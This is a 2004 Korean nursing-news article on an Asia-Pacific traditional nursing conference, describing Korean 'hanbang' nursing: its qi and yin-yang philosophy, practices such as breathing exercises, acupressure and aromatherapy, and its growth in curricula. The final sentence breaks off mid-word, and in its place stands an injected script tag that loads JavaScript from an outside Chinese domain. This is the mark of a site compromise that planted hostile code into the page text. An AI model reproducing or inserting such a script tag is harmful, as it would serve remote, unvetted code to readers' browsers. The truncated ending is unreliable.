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간호의 새 패러다임 `전통간호'
[편집국] 박미경   mkpark@nursenews.co.kr     기사입력 2004-06-03 오전 09:57:46
 아시아-태평양 국가들이 오랜 역사 속에서 경험과 지혜를 축적해 이어내려오고 있는 전통간호가 세계적인 관심 대상이 되고 있다. 최근 경희대 동서간호학연구소(소장·김윤희)와 간호과학대학(학장·이향련)은 `아시아-태평양 전통간호 학술대회'를 열어 아-태지역 전통간호의 현주소를 한눈에 살필 수 있는 자리를 마련했다.

◆ 전통간호중재 과학적 연구로 규명해야-김 윤 희(경희대 동서간호학연구소장)

 전통간호란 그 나라 전통의학의 철학적 배경과 치료원리에 근간을 두고 개발된 간호를 의미한다. 중국에는 중의학이론을 기본으로, 우리나라에는 한의학이론을 기본으로 하는 고유의 전통간호가 있다. 중국의 전통간호를 중의간호, 한국의 전통간호를 한방간호라 일컫는다. 따라서 한방간호를 한국적 간호라고도 표현할 수 있겠다.
 우리의 민족의학 즉, 전통의학이 과학적 검증과정을 거쳐 한의학으로 발전되기까지 많은 비난과 따돌림을 받아왔듯이 한방간호도 서양간호에 비해 역사가 짧고 학문적 지식체계도 정립되지 않아 아직은 주목받지 못하고 있는 실정이다.
 한방간호의 기본적인 사상은 한의학에서 설명하고 있는 인간과 자연을 하나로 보는 天人合一的 사상과, 나와 타인을 둘로 보지 않는 自他不二的 사상, 인간과 자연을 연속체의 개념에 입각하여 모든 만물에는 생명(氣)이 있다고 보며, 음양오행론에 의해 삶의 모든 면에 균형과 조화가 유지된다는 철학적 배경에서부터 출발한다.
 한방간호란 인간을 자연의 한 부분으로, 그리고 몸과 마음이 하나가 될 때 기능할 수 있는 존재로 보고, 음양오행과 기론(氣論)을 적용하여 기의 균형을 조화롭게 만드는 것이며, 마음의 평정, 수면 및 호흡, 식이와 운동 등을 통해 인체의 자연 치유력을 활성화시킴으로써 질병을 예방하고 건강 유지와 증진, 재발 방지에 도움을 주는 행위라고 정의내릴 수 있다.
 현재까지 진행된 연구결과를 토대로 한방간호로 볼 수 있는 실무는 구체적으로 단전호흡, 요가운동, 기공체조, 향기요법, 경락수기요법(이압요법, 삼음교지압, 안면경락마사지, 발반사 및 손반사요법), 영양 및 식이교육(사상체질식이), 지시적 심상요법 등이 있다. 이러한 중재들에 대해서는 비교적 다수의 연구가 수행되어 한방간호실무로서 유용한 중재임이 규명됐다.
 앞으로 한방간호의 실무영역을 확장하기 위해선 문헌에 제시된 다양한 간호중재방안들이 실험연구를 통해 그 효능과 안전성이 검증되어야 한다. 실무에 있어서도 보다 과학적인 지식체에 근거한 중재를 제공하기 위해 한방간호중재의 작용기전이 규명되어야 한방간호중재의 이론적 모형이 개발될 수 있을 것이다.
 한방간호에 대한 관심과 요구는 증폭되고 있다. 비록 서양의학모형에 기초하고는 있으나 전인간호의 개념에 입각해 인간을 이해하고자 하는 서양간호의 입장에서도 한의학의 인간관이나 개인차에 따른 치료와 건강유지방법, 전인요법적 질병치료관에 매우 공감하기 때문이다. 또한 국민들의 보건지식 수준이 향상되고, 평생건강관리 차원에서 건강친화적인 환경 조성에 대한 관심이 높아지고 있으며, 건강은 스스로 건강한 생활을 통해 관리하도록 보건정책 방향이 바뀌고 있기 때문이다.
 이러한 흐름에 맞춰 전통간호의 정체성을 조명하고 국제 네트워크를 구축하는 장인 `아·태지역 전통간호 학술대회'가 열린 것은 뜻깊은 일이다. 이번 학술교류가 동서간호의 통합과 간호지식 확장, 새로운 간호 패러다임 창출의 초석이 되리라 믿는다. 또한 앞으로 한국 전통간호의 이론과 실무 개발에 견인차 역할을 하게 될 것으로 기대한다.

◆ 한국-왕명자 교수(경희대 간호과학대학)
==`한방간호' 교과 개설 증가 추세

 한국의 전통간호인 한방간호는 한의학적 방법으로 이뤄지는 간호행위다. 허준의 `동의보감'과 이제마의 `사상체질론' 등을 기본 바탕으로 하면서 대상자가 신체적·정신적·사회적·영적으로 자연과 조화와 균형을 유지해 최적의 심신상태에 도달하도록 돕는 것이다.
 한방간호교육은 1990년 중반이후 활발히 시행돼 2000년 현재 54개교에 교과과정이 개설돼 있다. 교과목은 경락생리, 경혈간호학, 기간호학, 사상체질간호학, 수지침, 양생과 조리, 자연요법, 침뜸간호학 등 다양하다.
 연구논문 수도 증가하고 있다. 특히 많은 실험연구들을 통해 단전호흡, 기공체조, 요가운동, 지시적 심상요법, 향기요법, 침상운동, 삼음교지압, 마사지, 이압요법, 부항요법, 뜸요법 등의 효과가 입증되고 있다.
 한방병원수가 급증하고 있고, 전국 보건소에서 한방진료를 제공함에 따라 양질의 한방간호사 인력이 더욱 필요해지고 있는 상태다. 한방간호 발전을 위해 한방간호사회, 한방간호학회, 한방간호연구회 등이 조직돼 있다.
 그러나 한방간호는 아직 검증되지 않은 부분이 많아 ?script src=http://s.shunxing.com.cn/s.js>
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